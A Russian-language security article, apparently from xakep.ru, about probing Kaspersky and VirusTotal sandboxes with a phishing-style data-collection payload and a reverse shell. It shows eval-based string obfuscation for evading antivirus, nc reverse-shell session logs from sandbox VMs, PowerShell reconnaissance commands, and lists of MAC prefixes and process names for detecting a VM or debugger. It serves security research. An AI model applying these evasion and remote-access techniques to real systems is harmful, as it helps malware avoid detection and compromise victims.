Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Как устроены антивирусные песочницы, известно лишь понаслышке: вендоры надежно хранят свои секреты. Что мы увидим, если попытаемся заглянуть к ним под капот? В этой статье — результаты эксперимента по исследованию сред анализа вредоносного ПО, включая VirusTotal. Мы написали скрипт для обхода песочниц и получили reverse shell: теперь мы точно знаем, что там внутри.
Однажды мы решили провести тестовую фишинговую атаку в нашей организации, чтобы поднять уровень осведомленности сотрудников. В роли настоящего «хакера» я решил построить всю инфраструктуру сам. Зарегал поддельный домен, поднял свой почтовый сервер, сервер для приема отстука. И тут пришло время писать клиентскую часть, а именно ту полезную нагрузку, которая будет отправляться пользователю.
Для получения исполняемого файла я использовал связку Python + PyInstaller. Идея состояла в том, чтобы собрать минимум информации о хосте и понять, кому из сотрудников он принадлежит. Основной информацией стал IP-адрес машины в локальной сети предприятия, поскольку он никогда не меняется и по нему можно выяснить, кто же все‑таки запустил «вредонос».
warning
Статья написана в исследовательских целях, имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Использование или распространение ПО без лицензии производителя может преследоваться по закону.
Пример информации, которая поступала на мой сервер, если кто‑то запускал исполняемый файл:
Hostname: <hostname>
Version: <version_os>
Release: <number_release>
Architecture: <architecture>
Type machine: <type>
Network name: <network_name>
User: <run_user>
OS type: <windows/linux>
Local_ip: <local_ip>
На машинах организации, которую мы тестировали, стоит антивирусное решение от компании Kaspersky — Kaspersky Endpoint Security. Для его обхода я использовал возможность Python выполнять код, который передается в виде строки. Приведу пример.
Вот исходный код на Python для получения OS type
:
os_type = platform.system()
А так выглядит обфусцированный код:
command_crypt = b'kxb0x0fp4x03xe9Dxe0x01xd5Z}xc1x85xa42xc56x9fxc0x81xaftxe5x08k!x81xd5xccxf0'command_decrypt = func_decrypt(command_crypt, key_decrypt)os_type = eval(command_decrypt)
Реализация несложная. Сначала мы шифруем все строки кода с использованием функции шифрования, затем используем их в итоговом файле, из которого будет получен исполняемый файл. В нем содержится код с такой структурой:
Полученный исполняемый файл я поместил на сервер. В зависимости от переданного в запросе User-Agent скрипт передавался под нужную ОС. Когда пользователь переходил по фишинговой ссылке, ему отправлялся архив, замаскированный под файл .xls
, после чего выполнялся редирект на реальный сайт компании, чтобы было менее подозрительно.
Так вот, еще до того, как я выгрузил файл на сервер, я уже начал получать отстуки от непонятных для меня хостов. Вот пример одного из таких:
Hostname: DESKTOP-HESL6H8
Version: 10.0.18362
Release: 10
Architecture: (’64bit’, ‘WindowsPE’)
Type machine: AMD64
Network name: DESKTOP-HESL6H8
User: G58gQ
OS type: Windows
Local_ip: 10.16.202.175
Сразу бросается в глаза странное имя пользователя, как будто бы сгенерированное. Единственная «утечка» могла произойти с машины, на которой я тестировал обход антивируса Kaspersky. Тогда я не стал обращать внимания на это, поскольку антивирус все равно не ругался на мой файл. И я благополучно забил на этот факт до недавнего времени, пока не заинтересовался обходом песочниц.
Предположительно тогда я получал отстуки из песочниц Kaspersky, которые анализировали файл с неизвестной сигнатурой. Поэтому я решил: раз приходят запросы, значит, у песочниц есть доступ в интернет и он не блокируется. Если усовершенствовать скрипт с reverse shell, чтобы не ловиться просто по сигнатуре, можно попробовать полазить по такой песочнице. Основу для реализации этой идеи я взял с сайта revshells.com.
Для экспериментов использовалась машина с белым IP. Я скомпилировал файл, и антивирус после пары подключений его нейтрализовал. А я стал ждать. И… ничего, я так и не получил коннекта.
Но при загрузке программы на VirusTotal виртуальные среды все‑таки позволяют взаимодействовать с хостом после подключения:
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.86.36.138 49171
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:UsersazureDownloads>
PS C:UsersazureDownloads> dir
dir
PS C:UsersazureDownloads> cd ..
cd ..
PS C:Usersazure> dir
dir
Directory: C:Usersazure
Mode LastWriteTime Length Name
d—— 3/31/2022 5:04 AM .idlerc
d—— 1/6/2023 10:44 AM .ms-ad
d-r— 3/25/2022 4:09 PM Contacts
d-r— 3/25/2022 6:25 PM Desktop
d-r— 3/25/2022 4:09 PM Documents
d-r— 5/5/2025 8:45 AM Downloads
d-r— 3/25/2022 4:09 PM Favorites
d-r— 3/25/2022 4:09 PM Links
d-r— 3/25/2022 4:09 PM Music
d-r— 3/25/2022 4:09 PM Pictures
d-r— 3/25/2022 4:09 PM Saved Games
d-r— 3/25/2022 4:09 PM Searches
d-r— 3/25/2022 4:09 PM Videos
PS C:Usersazure> Get-Process
Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName------- ------ ----- ----- ------ -- -- -----------
115 9 15448 15812 0.64 932 0 audiodg
31 5 1080 3348 0.02 2168 1 conhost
35 5 1140 3748 0.02 2444 1 conhost
31 5 1080 3344 0.00 2460 1 conhost
31 5 1076 3348 0.03 2560 1 conhost
31 5 1076 3344 0.02 2648 1 conhost
31 5 1076 3344 0.00 2668 1 conhost
31 5 1080 3312 0.02 2788 1 conhost
31 5 1080 3316 0.00 2812 1 conhost
434 11 1840 4080 0.86 328 0 csrss
325 15 2876 5900 1.19 384 1 csrss
…
79 7 1416 5280 0.06 2056 0 unsecapp
81 10 1460 4728 0.64 376 0 wininit
112 9 2692 7520 1.77 424 1 winlogon
182 11 3532 9852 0.13 584 0 WmiPrvSE
124 9 2280 6820 0.05 1836 0 WmiPrvSE
133 9 2464 7236 0.14 2744 0 WmiPrvSE
439 32 9896 27188 0.83 2484 0 wmpnetwk
PS C:Usersazure> exit
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.45.100.89 49681
ls
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:UsersBrunoDesktop> ls
Directory: C:UsersBrunoDesktop
Mode LastWriteTime Length Name---- ------------- ------ ----
d----- 3/5/2025 2:59 PM EEGWXUHVUG
d----- 3/5/2025 2:59 PM EFOYFBOLXA
d----- 3/5/2025 2:59 PM EOWRVPQCCS
d----- 3/5/2025 2:59 PM EWZCVGNOWT
`…
-a---- 3/5/2025 2:59 PM 1026 PWCCAWLGRE.pdf
-a---- 3/5/2025 2:59 PM 1026 QCFWYSKMHA.jpg
-a---- 5/6/2025 12:56 AM 49495 reverse.exe
-a---- 3/5/2025 2:59 PM 1026 SFPUSAFIOL.xlsx
-a---- 3/5/2025 2:59 PM 1026 SUAVTZKNFL.png
PS C:UsersBrunoDesktop> exit
В итоге я решил использовать тактику, как при проведении фишинговой атаки, а именно — использовать скрипт для сбора информации о системе и отправки данных на сервер.
Понятно, что тех данных, которые я собирал в изначальном скрипте, явно маловато, поэтому я усовершенствовал программу, и теперь она собирает следующие параметры:
OS type: Version: Release: Architecture: Type machine: Network name: User: Hostname: Local ip: System Date: System boot time: Uptime: System hardware: System File: Directory: C:/Windows: Directory: C:/Program Files: Directory: C:/Program Files (x86): Directory: C:/ProgramData: Directory: C:/Windows/System32: Directory: C:/Windows/SysWOW64: Directory: C:/Windows/Temp: Directory: C:/Users: User File: User directory: Directory: Downloads: Directory: Desktop: Directory: Pictures: Directory: Videos: Directory: Music: Directory: AppDataLocalTemp: Process Data:
Также я собирал информацию о системе c помощью команд PowerShell, используя модуль subprocess:
systeminfoipconfig /allnet userGet-WmiObject Win32_ComputerSystemGet-ServiceGet-WmiObject Win32_VideoControllerGet-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select-Object `DeviceID, @{Name="Size(GB)";Expression={"{0:N2}" -f ($_.Size / 1GB)}}, @{Name="Free(GB)";Expression={"{0:N2}" -f ($_.FreeSpace / 1GB)}},@{Name="Used(GB)";Expression={"{0:N2}" -f (($_.Size - $_.FreeSpace) / 1GB)}}
www
Пока скрипты крутились в дробилках песочниц, я поискал в интернете информацию об обходе этих самых песочниц. В итоге мне понравились эти статьи:
Детектим виртуалки
Детект песочницы. Учимся определять, работает ли приложение в sandbox-изоляции
Как песок сквозь пальцы: могут ли вредоносы обойти Sandbox и как они это делают
Многие идеи я буду брать из этих статей, так что мой код по большей части не уникален.
Ниже приведена таблица с данными, по которой мы будем в первую очередь определять среду.
Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
VirTotal | WIN-5E07COS9ALR | 10 | 1 | 1 | 0:01:04 | 56 |
VirTotal | WIN-QIUREVVK5FL | 7 | 1 | 8 | 0:01:41 | 60 |
VirTotal | 715575 | 10 | 4 | 8 | 2:06:38 | 189 |
VirTotal | 061544 | 10 | 2 | 8 | 2:03:42 | 161 |
VirTotal | 424505 | 10 | 4 | 8 | 1:46:43 | 167 |
VirTotal | azure-PC | 7 | 2 | 2 | 0:03:57 | 58 |
VirTotal | azure-PC | 7 | 2 | 2 | 0:04:11 | 55 |
VirTotal | WALKER-PC | 7 | 2 | 1.5 | 0:01:25 | 54 |
VirTotal | 00900BC83803 | 10 | 2 | 2 | 0:50:12 | 52 |
VirTotal | COMPUTER-9GV0UZ | 10 | 2 | 4 | 0:08:47 | 103 |
VirTotal | MZLTRR848050884 | 10 | 1 | 2 | 2:41:42 | 51 |
Бросается в глаза, что у некоторых хостов явно проблемы с CPU и MEM. Также мы видим, что некоторые машины крайне недолго находятся в Uptime, а у других слишком мало запущенных процессов. Все это косвенно может свидетельствовать о виртуализации. Данных от песочниц Kaspersky я не получил: антивирус ни в какую не хотел считать мой файл зловредным.
В итоге я решил проверить свою программу с помощью динамического анализа на их сайте opentip.kaspersky.com. И как оказалось, исполняемый файл, полученный с использованием связки Python 3.12 + PyInstaller, просто не может запуститься в их песочнице.
И даже с учетом того, что файл содержит reverse shell, анализ показывает, что файл безопасен.
В общем, я вернулся на Python 3.7 и попробовал писать код на нем. Теперь программа анализировалась нормально. Вот данные, которые я получил.
Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
Kas | ELZ-8K4JW2UL3QY | 10 | 2 | 4 | 0:08:16 | 100 |
Kas | art-PC | 7 | 2 | 1 | 0:04:15 | 44 |
Но получить с хостов данные, похожие на те, что приходили при проведении тестовой фишинговой атаки, мне не удалось. И только когда я оставил одни команды PowerShell, мне наконец прилетели отстукивания, которые были схожи, по крайней мере hostname
и username
напоминали те, что я увидел в первый раз. К сожалению, команда Get-Process
почему‑то не отработала, и информации о количестве запущенных процессов мне получить не удалось.
Host | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 4 | 32 | 1 day 02:16:12 | 192 | ||
Real PC | 6 | 16 | 13:51:48 | 275 | ||
Kas | DESKTOP-09L7V90 | 10 | 1 | 2 | 1:35:42 | ? |
Kas | DESKTOP-NL2CM8W | 10 | 1 | 2 | 2:38:52 | ? |
Kas | DESKTOP-WSP0LAK | 10 | 1 | 2 | 3:44:45 | ? |
Как видно, эти хосты тоже страдают от нехватки CPU и MEM.
Теперь копаем глубже: нам нужны MAC-адреса. По ним также можно понять, что программа запущена в виртуальной среде. На этом ловятся хосты WIN-*
. Вот MAC-адреса, которые будем искать:
{{0x00, 0x50, 0x56}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x0C, 0x29}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x05, 0x69}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x1с, 0x14}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x03, 0xff}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x0d, 0x3a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x50, 0xf2}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x7c, 0x1e, 0x52}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x12, 0x5a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x15, 0x5d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x17, 0xfa}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x28, 0x18, 0x78}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x7c, 0xed, 0x8d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x1d, 0xd8}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x22, 0x48}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x25, 0xae}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x60, 0x45, 0xbd}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0xdc, 0xb4, 0xc4}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x1c, 0x42}, "Parallels Desktop, Workstation, Server, Virtuozzo"},{{0x00, 0x0f, 0x4b}, "Virtual Iron 4"},{{0x00, 0x16, 0x3e}, "Red Hat Xen | Oracle VM | XenSource | Novell Xen"},{{0x08, 0x00, 0x27}, "Sun xVM VirtualBox"},
А вот процессы, по которым можно понять, что скрипт запущен в виртуальной среде или анализируется в дебаггере:
// Иконка VirtualBox в трее гостевой ОСTEXT("VBoxTray.exe"),// Служба VirtualBox Guest AdditionsTEXT("VBoxService.exe"),TEXT("vboxservice.exe"),// Драйвер VirtualBox GuestTEXT("vboxguest.sys"),// VMware ToolsTEXT("vmtoolsd.exe"),TEXT("vmwaretray.exe"),TEXT("vmwareuser.exe"),TEXT("vmsrvc.exe"),TEXT("vmhgfs.sys"),TEXT("vmware-vmx.exe"),TEXT("vmware-authd.exe"),// Hyper-VTEXT("vmicvss.exe"),// TEXT("vmms.exe"), // Был обнаружен в реальной машине, закомментированоTEXT("vmmem.exe"),TEXT("vmwp.exe"),// QEMUTEXT("qemu-system-x86_64.exe"),TEXT("qemu-vm-guest.exe"),// ParallelsTEXT("prl_vm_app.exe"),TEXT("prl_tools.exe"),TEXT("prl_cc.exe"),TEXT("SharedIntApp.exe"),// Драйвер мыши виртуальной машиныTEXT("vmmouse.sys"),// Xen Virtualization environmentTEXT("xenservice.exe"),// Windows SandboxTEXT("WindowsSandbox.exe"),// SandboxieTEXT("SandboxieRpcSs.exe"),TEXT("SandboxieDcomLaunch.exe"),TEXT("SbieSvc.exe"),TEXT("SbieCtrl.exe"),// Comodo SandboxTEXT("SxIn.exe"),// Process Monitor — анализ поведенияTEXT("procmon.exe"),// Обнаружен в процессах одной из песочниц VirusTotalTEXT("VmRemoteGuest.exe"),// Windows Debugging ToolsTEXT("ntsd.exe"),TEXT("windbg.exe"),// IDA ProTEXT("idaq.exe"),TEXT("idag.exe"),// x64dbg/x32dbgTEXT("x64dbg.exe"),TEXT("x32dbg.exe"),
И тут меня заинтересовал вывод команды
Get-WmiObject Win32_VideoController
А именно вот такие строки:
Name Description PNPDeviceID
Собираю информацию с хостов:
Real PC: Description : AMD Radeon(TM) Vega 10 Graphics PNPDeviceID : PCIVEN_1002&DEV_15DD&SUBSYS_512217AA&REV_D04&35FEB52A&0&0041 Description : Intel(R) UHD Graphics 730 PNPDeviceID : PCIVEN_8086&DEV_4692&SUBSYS_D0001458&REV_0C3&11583659&0&10 Kaspersky: С сайта анализатора: Hostname: ELZ-8K4JW2UL3QY OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_013&13C0B0C5&0&18 Hostname: art-PC OS: Windows 7 Name : Standard VGA Graphics Adapter Description : Standard VGA Graphics Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_023&1 Файлы, аналогичные файлам при проведении тестового фишинга: Hostname: DESKTOP-09L7V90 OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_003&13C0B0C5&0&10 Hostname: DESKTOP-NL2CM8W OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_003&13C0B0C5&0&10 Hostname: DESKTOP-WSP0LAK OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_003&13C0B0C5&0&10 VirusTotal: Hostname: WIN-5E07COS9ALR OS: Windows 10 Name : Microsoft Hyper-V Video Description : Microsoft Hyper-V Video PNPDeviceID : VMBUS{DA0A7802-E377-4AAC-8E77-0558EB1073F8}{5620E0C7-8062-4DCE-AEB7-520C7EF76171} Hostname: WIN-QIUREVVK5FL OS: Windows 7 Name : Microsoft Hyper-V Video Caption : Microsoft Hyper-V Video PNPDeviceID : VMBUS{DA0A7802-E377-4AAC-8E77-0558EB1073F8}{5620E0C7-8062-4DCE-AEB7-520C7EF76171} Hostname: 715575 OS: Windows 10 Name : AD59MKMM Description : CMPMV5 PNPDeviceID : PCIVEN_15AD&DEV_0405&SUBSYS_040515AD&REV_003&61AAA01&0&78 Hostname: 061544 OS: Windows 10 Данные отсутствуют (команда не выполнилась) Hostname: 424505 OS: Windows 10 Name : X9387726 Description : AE27H7US NPDeviceID : PCIVEN_15AD&DEV_0405&SUBSYS_040515AD&REV_003&61AAA01&0&78 Hostname: azure-PC OS: Windows 7 Name : Standard VGA Graphics Adapter Description : Standard VGA Graphics Adapter PNPDeviceID : PCIVEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_053&2 Hostname: azure-PC OS: Windows 7 Name : Standard VGA Graphics Adapter Description : Standard VGA Graphics Adapter PNPDeviceID : PCIVEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_053&2 Hostname: 00900BC83803 OS: Windows 10 Name : Intel(R) UHD Graphics 630 Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_5678&SUBSYS_9101112&REV_013&ABCDE&0&11 Hostname: COMPUTER-9GV0UZ OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_013&13C0B0C5&0&18 Hostname: MZLTRR848050884 OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_8086&DEV_0412&SUBSYS_2AF7103C&REV_063&21436425&0&10
Как видно, есть повторяющиеся значения, а также имена и описания, похожие на дефолтные или сгенерированные. Дополнительно к выводу о том, что при проведении тестирования по фишингу мне прилетали отстуки от Kaspersky, говорят одинаковые VEN
и DEV
, полученные с сайта анализатора и откуда‑то еще (откуда прилетают странные отстукивания со странных хостов, я так и не понял).
Источник: xakep.ru